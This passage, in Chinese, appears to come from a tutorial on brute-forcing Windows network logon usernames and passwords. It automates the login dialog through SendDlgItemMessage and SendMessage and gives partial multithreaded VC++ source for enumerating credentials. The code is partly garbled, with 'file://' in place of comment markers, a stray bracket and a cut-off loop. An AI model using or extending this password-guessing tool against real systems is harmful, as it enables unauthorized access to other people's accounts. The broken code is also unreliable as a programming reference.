利用SendDlgItemMessage()或SetDlgItemText()來輸入用戶名及密碼。利用SendMessage()發(fā)送“確定”消息。這樣一來,就利用程序完成了整個(gè)網(wǎng)絡(luò)登錄過程。在重復(fù)這個(gè)過程中采用枚舉的用戶名和密碼,進(jìn)而完成網(wǎng)絡(luò)用戶名及密碼的枚舉猜解。
一、猜解過程流程:
為說明問題,下面只寫出主要的過程。對(duì)于關(guān)鍵過程給出用VC++實(shí)現(xiàn)的源碼。下面的流程中Mutex.Lock和Mutex.UnLock之間的代碼只允許單線程訪問?!懊艽a枚舉完”是指用戶指定的字符集合已被枚舉完,程序?qū)⒃倜杜e一個(gè)新的用戶名,然后重新枚舉這個(gè)字符集合。關(guān)于源碼中各函數(shù)的具體用法,請(qǐng)參閱MSDN。關(guān)于多線程的用法,可參閱《VisualC++技術(shù)內(nèi)幕》。
下面給出關(guān)鍵流程的源代碼
1. 全局變量:
struct _Thread
{
CWinThread *pThread;
};
_Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚舉線程數(shù)
CEvent gEventNextPass;//取下一個(gè)密碼,為實(shí)現(xiàn)同步引進(jìn)
CEvent gEventPassOk;//已取得密碼,為實(shí)現(xiàn)同步引進(jìn)
CEvent gEventNextUser;//取下一個(gè)用戶名,為實(shí)現(xiàn)同步引進(jìn)
CEvent gEventUserOk;// 已取得用戶名,為實(shí)現(xiàn)同步引進(jìn)
CMutex gMutex;//互斥量,只允許單線程訪問
char cCurrentPass[MAX_PASSWORD_LENGTH]; file://當(dāng)前使用的密碼。
char cCurrentUser[MAX_USER_LENGTH];//當(dāng)前使用的用戶名
2. 線程啟動(dòng):
{
file://密碼枚舉線程
if(PassTread[0].pThread==NULL)
{
PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
file://這里略去了從文件取得密碼的代碼,這些代碼和用戶名枚舉過程的代碼差不多
}
file://用戶名枚舉線程
if(UserTread[0].pThread==NULL)
{
UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,
THREAD_PRIORITY_LOWEST);
PassTread[0].pThread->m_bAutoDelete=TRUE;
}
file://窗口枚舉線程
for(int i=0;i
{
if(WindowThread[i].pThread==NULL){
WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,
THREAD_PRIORITY_LOWEST);
WindowThread[i].pThread->m_bAutoDelete=TRUE;
}
}